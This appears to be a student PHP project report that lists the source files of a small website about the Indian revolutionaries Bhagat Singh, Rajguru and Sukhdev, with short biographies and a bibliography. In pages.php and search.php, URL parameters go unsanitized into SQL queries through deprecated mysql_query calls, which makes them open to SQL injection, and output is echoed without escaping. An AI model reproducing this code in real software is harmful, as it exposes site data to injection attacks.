<link rel="stylesheet" href="style.css" media="all" type="text/css">
</head>
<body>
<div id="wrapper">
<div><?php include("includes/header.php"); ?> </div>
<div><?php include("includes/navbar.php"); ?> </div>
<div id="main_content">
<h2>Biography of Shaheed Bhagat Singh</h2>
<b>Born:</b> September 27, 1907<bR>
<b>Martyrdom:</b> March 23, 1931<br>
<p style="text-align:justify">
Achievements: Gave a new direction to revolutionary movement in India, formed 'Naujavan Bharat Sabha' to spread the
message of revolution in Punjab, formed 'Hindustan Samajvadi Prajatantra Sangha' along with Chandrasekhar Azad to
establish a republic in India, assassinated police official Saunders to avenge the death of Lala Lajpat Rai, dropped bomb
in Central Legislative Assembly along with Batukeshwar Dutt.Bhagat Singh was one of the most prominent faces of
Indian freedom struggle
</p>
</div>
<div><?php include("includes/sidebar.php"); ?> </div>
<div id="footer"><p style="padding-top:20px;"> Copyrights are reserved </p></style></div>
</div>
</body>
</html>
index.php
<html>

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-transitional.dtd">
<head>
<title>Three Mater</title>
</head>
<body>
<div id="wrapper">
<div><?php include("includes/main-area.php"); ?> </div>
</div>
</body>
</html>
pages.php
<html>
-transitional.dtd">
<head>

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</head>
<body>
<div id="wrapper">
<?php
include("includes/includes/connection.php");
if(isset($_GET['id'])){
$page_id=$_GET['id'];
$select_query="select * from posts where post_id='$page_id'";
$run_query = mysql_query($select_query);
while($row=mysql_fetch_array($run_query))
{
$post_id =$row['post_id'];
$post_title =$row['post_title'];
$post_date =$row['post_date'];
$post_author =$row['post_author'];
$post_image =$row['post_image'];
$post_keywords =$row['post_keywords'];
$post_content =$row['post_content'];
?>
<h2>
<a href ="pages.php?id=<?php echo $post_id; ?>">
<?php echo $post_title; ?>
</a>
</h2>

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<p align="left"> Published on:  <b><?php echo $post_date; ?> </b> </p>
<P align="right">Posted by:  <b> <?php echo $post_author; ?> </b> </p>
<center><img src="images/<?php echo $post_image;?>" width="400" height="300" /> </center>
50
<P align="justify"><?php echo $post_content; ?> </p>
<?php }} ?>
</div>
</div>
</body>
</html>
rajguru.php
<html>
-transitional.dtd">
<head>
</head>
<body>
<div id="wrapper">

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<h2>Amar Shaheed Rajguru's Biography</h2>
Shiv Ram Hari Rajguru was born in an average middle-class Hindu Brahmin family at Khed
in Poona district in 1906. He came to Varanasi at a very early age where he learnt Sanskrit and read the Hindu religious
scriptures. He had a good memory and learnt by heart the ‘Laghu Siddhant Kaumudi’. He loved physical exercises and
was associated with a number of such associations. He had great admiration for Shivaji and his guerilla tactics.
</p>
</div>
</div>
</body>
</html>
search.php
<html>
-transitional.dtd">
<head>
</head>
<body>
<div id="wrapper">

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<h1> Your Search Result is here</h1>
<?php
include("includes/includes/connection.php");
if(isset($_GET['search']))
{
$search_id=$_GET['value'];
$search_query = "select * from posts where post_keywords like '%$search_id%'";
$run_query = mysql_query($search_query);
while($search_row = mysql_fetch_array($run_query))
{
$post_id = $search_row['post_id'];
$post_title = $search_row['post_title'];
$post_image = $search_row['post_image'];
$post_content = substr($search_row['post_content'],0,150);
?>
<center>
<h2>
<a href = "pages.php?id=<?php echo $post_id; ?>">
</a></h2>
<img src="images/<?php echo $post_image; ?>" width="500" height="500">
<p><?php echo $post_content; ?></p>
</center>
<?php } } ?>
</div>

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</div>
</body>
</html>
sukhdev.php
<html>
-transitional.dtd">
<head>
</head>
<body>
<div id="wrapper">
<h2>Biography of Sukhdev Thapar</h2>
Sukhdev Thapar was born in Ludhiana, Punjab. He was an Indian freedom fighter who lived
from 15 May 1907 to March 23, 1931, who was involved with Shaheed Bhagat Singh and Shivaram Rajguru in the

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killing of a British police officer J.P. Saunders in 1928 in order to take revenge for the death of veteran leader Lala
Lajpat Rai due to excessive police beating.</p></div>
54
</div>
</body>
</html>
style.css
*{
margin:0px;
padding:0px;
}
body{
background-image:url('images/indian_flag.jpg');
text-align:center; /*for IE6 Browser to set page center*/
}
#wrapper
{
margin:0 auto;
width:960px;
text-align:left;
position:relative;
}
#header{
width:960px;

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height:180px;
border:1px solid white;
}
#singh {
width:960px;
height:180px;
float:left;
margin:0 auto 0 auto;
padding:0px;
background-image:url("images/header.png");
}
#navbar
{
width:960px;
height:50px;
margin:0px;
background-color:orange;
padding:0px;
border:1px solid green;
}
#navbar ul
{}
#navbar ul li {list-style:none; float:left; height:50px; }
#navbar li a:link {text-decoration:none; border-right:1px solid gray; padding:0 25 0 25;
font-size:20px; color:green; float:left; line-height:50px;
}
#navbar li a:hover{color:white;}
#navbar ul li :hover{background-color:green; line-height:50px;}

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#main_content
{
width:703px;
float:left;
height:auto;
border:1px solid white;
background-color:white;
padding:10px;
}
#main_content h2 a{padding:5px; color:orange;text-decoration:none; border-bottom:2px solid orange;}
#main_content p {padding-top:10px; color:green;}
#sidebar{
width:233px;
height:auto;
float:left;
background-color:green;
color:white;
}
#sidedesign a
{
color:white;
text-decoration:none;
margin-top:100px;
}
#sidedesign img
{
margin-top:10px;
}
#sidedesign h4
{

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margin-top:10px;
}
#searchbox{
text-align:center;
margin:10px;
}
#footer
{
clear:both;
width:960px;
height:50px;
background-color:orange;
color:white;
text-align:center;
}
#social
{
margin-top:20px;
text-align:center;
border-bottom:2px solid orange;
}
#social img
{
width:40px;
padding:4px;
margin-top:15px;
}
h2
{
color:orange; font-size:20px; font-family:comic sans ms;

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}
Header.php
<div id="header">
<div id="singh"> </div>
</div>
main-area.php
<?php
$select_posts = "select * from posts order by rand() LIMIT 0,3";
$run_posts = mysql_query($select_posts);
while($row=mysql_fetch_array($run_posts))
{
$post_id =$row['post_id'];
$post_title =$row['post_title'];
$post_date =$row['post_date'];
$post_author =$row['post_author'];
$post_image =$row['post_image'];
$post_keywords =$row['post_keywords'];
$post_content =substr($row['post_content'],0,200);
?>
<h2>
</a>
</h2>
<p align="left"> Published on:  <b><?php echo $post_date; ?> </b> </p>
<P align="right">Posted by:  <b> <?php echo $post_author; ?> </b> </p>
<center><img src="images/<?php echo $post_image;?>" width="400" height="300" /> </center>

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<P align="justify"><?php echo $post_content; ?> </p>
<p align="right"><a href="pages.php?id=<?php echo $post_id;?>">Read More</a></p>
<?php } ?>
</div>
navbar.php
<div id="navbar">
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="bhagatsingh.php">BhagatSingh</a></li>
<li><a href="rajguru.php">Raj Guru</a></li>
<li><a href="sukhdev.php">Sukhdev</a></li>
<li><a href="#">About us</a></li>
<li><a href="#">Contact</a></li>
</ul>
</div>
Sidebar.php
<div id="sidebar">
<div id="searchbox">
<form action="search.php" method="get" enctype="multipart/form-data">
<input type="text" name="value" placeholder="search this site ">
<input type="submit" name="search" value="search">
</div>
<div id="social">
<h2> Follow us</h2>
<a href="https://www.facebook.com/pages/C-TAC-Computer-Institute-An-ISO-Certified-
Institute/163304793718450?ref=hl" target="_blank">
<img src="images/facebook_color.png"> </a>

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<img src="images/twitter_color.png"> </a>
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<img src="images/youtube_color.png"></a>
<img src="images/google_color.png"></a>
</div>
<h2 align="center">Recent Post</h2>
<div id="sidedesign">
<?php
$query = "select * from posts order by 1 DESC LIMIT 0,5";
$run = mysql_query($query);
while($row=mysql_fetch_array($run))
{
$post_id=$row['post_id'];
$title=$row['post_title'];
$image =$row['post_image'];
?>
<center>
<h4><?php echo $title; ?></h4>
<img src ='images/<?php echo $image; ?>' width='140' height='140'></a></center>
<?php } ?></div>
</div>
BIBLIOGRAPHY
PHP Refernces

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PHP COMPLETE REFERENCE.
PHP Wrox
PHP-MYSQL by A-PRESS.
System analysis and Design by Elias M. Awad.
Database Refernces
Database Concepts Fifth edition by Vipin C. Desai.
Database Concepts by Navathe.

6 Week / Month Industrial Training in Hoshiarpur Punjab- PHP Project Report

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